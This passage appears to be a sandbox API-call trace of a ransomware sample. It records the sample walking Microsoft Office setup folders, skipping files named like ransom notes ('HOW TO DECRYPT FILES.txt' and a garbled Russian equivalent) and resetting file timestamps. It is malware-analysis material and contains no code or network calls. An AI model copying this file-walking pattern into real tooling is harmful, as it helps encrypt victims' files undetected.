ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xc8d9130, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf6e0d4a0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x7c4, dwReserved0=0x0, dwReserved1=0x4f8568, cFileName="SETUP.XML", cAlternateFileName="")) returned 0 [0058.430] FindClose (in: hFindFile=0x4f8158 | out: hFindFile=0x4f8158) returned 1 [0058.430] FindNextFileA (in: hFindFile=0x4f8208, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x302b0500, ftCreationTime.dwHighDateTime=0x1cba073, ftLastAccessTime.dwLowDateTime=0xcf459e40, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x302b0500, ftLastWriteTime.dwHighDateTime=0x1cba073, nFileSizeHigh=0x0, nFileSizeLow=0x709b68, dwReserved0=0x76c5023c, dwReserved1=0x3, cFileName="OSETUP.DLL", cAlternateFileName="")) returned 1 [0058.430] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0058.430] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="OSETUP.DLL") returned -1 [0058.430] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="OSETUP.DLL") returned -1 [0058.430] lstrcmpiA (lpString1="", lpString2="OSETUP.DLL") returned -1 [0058.430] PathFindFileNameA (pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\*.*") returned="*.*" [0058.430] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\" [0058.431] PathAddBackslashA (in: pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\" | out: pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\") returned="" [0058.431] FindNextFileA (in: hFindFile=0x4f8208, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5de00200, ftCreationTime.dwHighDateTime=0x1cac9ac, ftLastAccessTime.dwLowDateTime=0x598fccf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5de00200, ftLastWriteTime.dwHighDateTime=0x1cac9ac, nFileSizeHigh=0x0, nFileSizeLow=0xb9a0, dwReserved0=0x4f0054, dwReserved1=0x440020, cFileName="OSetupPS.dll", cAlternateFileName="")) returned 1 [0058.431] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0058.431] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="OSetupPS.dll") returned -1 [0058.431] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="OSetupPS.dll") returned -1 [0058.431] lstrcmpiA (lpString1="", lpString2="OSetupPS.dll") returned -1 [0058.431] PathFindFileNameA (pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OSETUP.DLL") returned="OSETUP.DLL" [0058.431] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\" [0058.431] PathAddBackslashA (in: pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\" | out: pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\") returned="" [0058.431] FindNextFileA (in: hFindFile=0x4f8208, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x14af010, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x2095e10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x2095e10, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x4f0054, dwReserved1=0x440020, cFileName="Outlook.en-us", cAlternateFileName="OUTLOO~1.EN-")) returned 1 [0058.431] lstrcmpA (lpString1=".", lpString2="Outlook.en-us") returned -1 [0058.431] lstrcmpA (lpString1="..", lpString2="Outlook.en-us") returned -1 [0058.431] PathFindFileNameA (pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OSetupPS.dll") returned="OSetupPS.dll" [0058.431] FindFirstFileA (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x14af010, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x2095e10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x2095e10, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x18f4c0, dwReserved1=0x4f8318, cFileName=".", cAlternateFileName="")) returned 0x4f8158 [0058.432] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0058.432] FindNextFileA (in: hFindFile=0x4f8158, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x14af010, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x2095e10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x2095e10, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x4f0000, cFileName="..", cAlternateFileName="")) returned 1 [0058.433] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0058.433] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0058.433] FindNextFileA (in: hFindFile=0x4f8158, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee827f20, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x14af010, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xee827f20, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xc72, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="OutlookMUI.XML", cAlternateFileName="OUTLOO~1.XML")) returned 1 [0058.433] PeekMessageA (in: lpMsg=0x18f634, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f634) returned 0 [0058.433] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="OutlookMUI.XML") returned -1 [0058.433] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="OutlookMUI.XML") returned -1 [0058.433] lstrcmpiA (lpString1="", lpString2="OutlookMUI.XML") returned -1 [0058.433] PathFindFileNameA (pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\*.*") returned="*.*" [0058.433] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\" [0058.433] PathAddBackslashA (in: pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\" | out: pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\") returned="" [0058.437] SetFileTime (hFile=0x94, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0058.437] CloseHandle (hObject=0x94) returned 1 [0058.438] FindNextFileA (in: hFindFile=0x4f8158, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf00db300, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x2095e10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf00db300, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x106f, dwReserved0=0x0, dwReserved1=0x4f8568, cFileName="SETUP.XML", cAlternateFileName="")) returned 1 [0058.438] PeekMessageA (in: lpMsg=0x18f634, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f634) returned 0 [0058.438] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="SETUP.XML") returned -1 [0058.438] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="SETUP.XML") returned -1 [0058.438] lstrcmpiA (lpString1="", lpString2="SETUP.XML") returned -1 [0058.438] PathFindFileNameA (pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\OutlookMUI.XML") returned="OutlookMUI.XML" [0058.438] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\" [0058.438] PathAddBackslashA (in: pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\" | out: pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\") returned="" [0058.438] FindNextFileA (in: hFindFile=0x4f8158, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf00db300, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x2095e10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf00db300, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x106f, dwReserved0=0x0, dwReserved1=0x4f8568, cFileName="SETUP.XML", cAlternateFileName="")) returned 0 [0058.438] FindClose (in: hFindFile=0x4f8158 | out: hFindFile=0x4f8158) returned 1 [0058.438] FindNextFileA (in: hFindFile=0x4f8208, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb169e000, ftCreationTime.dwHighDateTime=0x1ca911f, ftLastAccessTime.dwLowDateTime=0x6cee1d10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb169e000, ftLastWriteTime.dwHighDateTime=0x1ca911f, nFileSizeHigh=0x0, nFileSizeLow=0x165510, dwReserved0=0x76c5023c, dwReserved1=0x3, cFileName="pidgenx.dll", cAlternateFileName="")) returned 1 [0058.438] PathFindFileNameA (pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\*.*") returned="*.*" [0058.438] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\" [0058.439] PathAddBackslashA (in: pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\" | out: pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\") returned="" [0058.439] FindNextFileA (in: hFindFile=0x4f8208, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x17eefe00, ftCreationTime.dwHighDateTime=0x1ca9120, ftLastAccessTime.dwLowDateTime=0xbe99ad60, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x17eefe00, ftLastWriteTime.dwHighDateTime=0x1ca9120, nFileSizeHigh=0x0, nFileSizeLow=0xaec3a, dwReserved0=0x4f0054, dwReserved1=0x440020, cFileName="pkeyconfig-office.xrm-ms", cAlternateFileName="PKEYCO~1.XRM")) returned 1 [0058.439] PathFindFileNameA (pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\pidgenx.dll") returned="pidgenx.dll" [0058.439] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\" [0058.439] PathAddBackslashA (in: pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\" | out: pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\") returned="" [0058.439] FindNextFileA (in: hFindFile=0x4f8208, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6904ef00, ftCreationTime.dwHighDateTime=0x1ca912c, ftLastAccessTime.dwLowDateTime=0x6cf07e70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6904ef00, ftLastWriteTime.dwHighDateTime=0x1ca912c, nFileSizeHigh=0x0, nFileSizeLow=0x3d78, dwReserved0=0x4f0054, dwReserved1=0x440020, cFileName="pkeyconfig.companion.dll", cAlternateFileName="PKEYCO~1.DLL")) returned 1 [0058.439] PathFindFileNameA (pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\pkeyconfig-office.xrm-ms") returned="pkeyconfig-office.xrm-ms" [0058.439] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\" [0058.439] PathAddBackslashA (in: pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\" | out: pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\") returned="" [0058.439] FindNextFileA (in: hFindFile=0x4f8208, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf5db14d0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf5e95d10, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xf5e95d10, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x4f0054, dwReserved1=0x440020, cFileName="PowerPoint.en-us", cAlternateFileName="POWERP~1.EN-")) returned 1 [0058.439] lstrcmpA (lpString1=".", lpString2="PowerPoint.en-us") returned -1 [0058.440] lstrcmpA (lpString1="..", lpString2="PowerPoint.en-us") returned -1 [0058.440] PathFindFileNameA (pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\pkeyconfig.companion.dll") returned="pkeyconfig.companion.dll" [0058.440] FindFirstFileA (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf5db14d0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf5e95d10, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xf5e95d10, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x18f4c0, dwReserved1=0x4f8318, cFileName=".", cAlternateFileName="")) returned 0x4f8158 [0058.441] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0058.441] FindNextFileA (in: hFindFile=0x4f8158, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf5db14d0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf5e95d10, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xf5e95d10, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x4f0000, cFileName="..", cAlternateFileName="")) returned 1 [0058.441] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0058.441] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0058.442] FindNextFileA (in: hFindFile=0x4f8158, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe8728670, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf5db14d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe8728670, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x5aa, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="PowerPointMUI.XML", cAlternateFileName="POWERP~1.XML")) returned 1 [0058.442] PathFindFileNameA (pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\*.*") returned="*.*" [0058.442] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\" [0058.442] PathAddBackslashA (in: pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\" | out: pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\") returned="" [0058.445] SetFileTime (hFile=0x94, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0058.445] CloseHandle (hObject=0x94) returned 1 [0058.445] FindNextFileA (in: hFindFile=0x4f8158, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xecdfa490, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf5e95d10, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xecdfa490, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x75e, dwReserved0=0x0, dwReserved1=0x4f8570, cFileName="SETUP.XML", cAlternateFileName="")) returned 1 [0058.445] PathFindFileNameA (pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\PowerPointMUI.XML") returned="PowerPointMUI.XML" [0058.445] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\" [0058.445] PathAddBackslashA (in: pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\" | out: pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\") returned="" [0058.446] FindNextFileA (in: hFindFile=0x4f8158, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xecdfa490, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf5e95d10, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xecdfa490, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x75e, dwReserved0=0x0, dwReserved1=0x4f8570, cFileName="SETUP.XML", cAlternateFileName="")) returned 0 [0058.446] FindClose (in: hFindFile=0x4f8158 | out: hFindFile=0x4f8158) returned 1 [0058.446] FindNextFileA (in: hFindFile=0x4f8208, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xbe2e8f80, ftCreationTime.dwHighDateTime=0x1d305f1, ftLastAccessTime.dwLowDateTime=0xbec48620, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xbec48620, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x3, cFileName="PRJPROR", cAlternateFileName="")) returned 1 [0058.446] lstrcmpA (lpString1=".", lpString2="PRJPROR") returned -1 [0058.446] lstrcmpA (lpString1="..", lpString2="PRJPROR") returned -1 [0058.446] PathFindFileNameA (pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\*.*") returned="*.*" [0058.446] FindFirstFileA (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xbe2e8f80, ftCreationTime.dwHighDateTime=0x1d305f1, ftLastAccessTime.dwLowDateTime=0xbec48620, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xbec48620, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x500072, dwReserved1=0x69006f, cFileName=".", cAlternateFileName="")) returned 0x4f8158 [0058.446] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0058.446] FindNextFileA (in: hFindFile=0x4f8158, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xbe2e8f80, ftCreationTime.dwHighDateTime=0x1d305f1, ftLastAccessTime.dwLowDateTime=0xbec48620, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xbec48620, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x690000, cFileName="..", cAlternateFileName="")) returned 1 [0058.446] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0058.446] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0058.446] FindNextFileA (in: hFindFile=0x4f8158, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa60fd8f0, ftCreationTime.dwHighDateTime=0x1d305f1, ftLastAccessTime.dwLowDateTime=0xbe2e8f80, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xa60fd8f0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x1915, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="PrjProrWW.XML", cAlternateFileName="PRJPRO~1.XML")) returned 1 [0058.446] PathFindFileNameA (pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\*.*") returned="*.*" [0058.447] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\" [0058.447] PathAddBackslashA (in: pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\" | out: pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\") returned="" [0058.448] SetFileTime (hFile=0x94, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0058.448] CloseHandle (hObject=0x94) returned 1 [0058.448] FindNextFileA (in: hFindFile=0x4f8158, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c227b0, ftCreationTime.dwHighDateTime=0x1d305f1, ftLastAccessTime.dwLowDateTime=0xbec48620, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xa8c227b0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x412b, dwReserved0=0x0, dwReserved1=0x4f8560, cFileName="SETUP.XML", cAlternateFileName="")) returned 1 [0058.448] PathFindFileNameA (pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\PrjProrWW.XML") returned="PrjProrWW.XML" [0058.449] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\" [0058.449] PathAddBackslashA (in: pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\" | out: pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\") returned="" [0058.449] FindNextFileA (in: hFindFile=0x4f8158, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c227b0, ftCreationTime.dwHighDateTime=0x1d305f1, ftLastAccessTime.dwLowDateTime=0xbec48620, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xa8c227b0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x412b, dwReserved0=0x0, dwReserved1=0x4f8560, cFileName="SETUP.XML", cAlternateFileName="")) returned 0 [0058.449] FindClose (in: hFindFile=0x4f8158 | out: hFindFile=0x4f8158) returned 1 [0058.449] FindNextFileA (in: hFindFile=0x4f8208, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xaf551ba0, ftCreationTime.dwHighDateTime=0x1d305f1, ftLastAccessTime.dwLowDateTime=0xaf577d00, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xaf577d00, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, 